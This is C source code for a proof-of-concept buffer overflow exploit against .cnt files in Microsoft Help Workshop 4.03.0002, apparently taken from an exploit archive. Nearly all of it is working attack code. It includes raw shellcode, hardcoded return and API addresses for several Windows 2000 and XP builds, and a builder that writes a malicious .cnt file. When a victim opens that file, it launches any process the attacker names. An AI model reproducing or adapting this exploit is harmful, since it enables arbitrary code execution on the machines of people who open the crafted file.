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Microsoft Help Workshop 4.03.0002 (.CNT) Buffer Overflow Exploit
================================================================ Microsoft Help Workshop 4.03.0002 (.CNT) Buffer Overflow Exploit ================================================================ //***************** // // PoC exploit for .cnt files buffer overflow vulnerability in // Microsoft Help Workshop v4.03.0002 // The tool is standard component of MS Visual Studio v6.0, 2003 (.NET) // // vulnerability found / exploit built by porkythepig // //***************** #include "stdio.h" #include "stdlib.h" #include "string.h" #include "memory.h" #define STR01 "0 Microsoft Help Workshop PoC exploit by porkythepig " #define DEF_SPAWNED_PROCESS "notepad.exe" #define EXPL_SIZE 619 #define PROC_NAM_SIZ 66 #define RET_OFFSET 0x210 #define PROC_NAME_OFFSET 0x228 #define BACK_SEQ_OFFSET 0x218 #define EXPRO_OFFSET 0xbf #define GETSTAR_OFFSET 0x4a #define CREPRO_OFFSET 0xb5 #define GETWINDIR_OFFSET 0x65 typedef struct { unsigned int extPro; unsigned int getStarInf; unsigned int crePro; unsigned int getWinDir; unsigned int jmpEspPtr; }ApiPtrs; ApiPtrs osApiPtrs[5]= { 0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x7cfdbd1b, 0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x784452e4, 0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0812e4, 0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cc58fd8, 0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775e6247 }; unsigned char shlCode[]= { 0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81, 0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11, 0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0, 0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b, 0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81, 0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f, 0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff, 0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32, 0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9, 0x5b,0x53,0x32,0xd2,0xb1,0x5c,0x88,0x08, 0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88, 0x08,0x43,0x40,0xeb,0xf4,0x32,0xd2,0x88, 0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48, 0x40,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x11, 0x11,0x50,0x33,0xc9,0x51,0x51,0x51,0x51, 0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x3f, 0x79,0xff,0xd0,0x33,0xc0,0x50,0xb8,0xda, 0x69,0x3f,0x79,0xff,0xd0 }; unsigned char backSeq[]= { 0xe9,0x1b,0xfe,0xff,0xff }; char buf0[EXPL_SIZE]; char spawnProcess[PROC_NAM_SIZ]; char *outName; int osId; int defProc; void CompileBuffer() { int ptr=0; memset(buf0,'1',EXPL_SIZE); ptr+=sprintf(buf0,"%s",STR01); memcpy(buf0+ptr,shlCode,sizeof(shlCode)); memcpy(buf0+BACK_SEQ_OFFSET,backSeq,sizeof(backSeq)); *((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro; *((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf; *((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro; *((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir; *((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr; ptr=PROC_NAME_OFFSET; if(!defProc) { buf0[ptr]=32; ptr++; } sprintf(buf0+ptr,"%s",spawnProcess); printf("Exploit buffer compiled\n"); } void WriteBuffer() { FILE *o; o=fopen(outName,"wb"); if(o==NULL) { printf("Cannot open file for writing\n"); exit(0); } fwrite(buf0,EXPL_SIZE,1,o); fclose(o); printf("Output .cnt file [ %s ] built successfully\n",outName); } void ProcessInput(int argc, char* argv[]) { printf("\nMicrosoft Help Workshop 4.03.0002 .cnt files exploit\n"); printf("Vulnerability found & exploit built by porkythepig\n"); if(argc<3) { printf("Syntax: exploit.exe os outName [spawnProc]\n"); printf("[ os ] host OS, possible choices:\n"); printf(" 0 Windows 2000 SP4 [Polish] updates on 11.01.2007\n"); printf(" 1 Windows 2000 SP4 [English]\n"); printf(" 2 Windows 2000 SP4 [English] updates on 11.01.2007\n"); printf(" 3 Windows XP Pro SP2 [English] updates on 11.01.2007\n"); printf(" 4 Windows XP Pro [English]\n"); printf("[ outName ] output .cnt exploit file name\n"); printf("[ spawnProc ] *optional* full path to the process to be spawned by\n"); printf(" the exploit (if none specified default will be notepad.exe)\n"); exit(0); } osId=atol(argv[1]); if((osId<0)||(osId>4)) { exit(0); } outName=argv[2]; if(argc>3) { if(strlen(argv[3])>=PROC_NAM_SIZ) { exit(0); } strcpy(spawnProcess,argv[3]); defProc=0; } else { strcpy(spawnProcess,DEF_SPAWNED_PROCESS); defProc=1; } } int main(int argc, char* argv[]) { ProcessInput(argc,argv); CompileBuffer(); WriteBuffer(); return 0; } # 0day.today [2024-12-24] #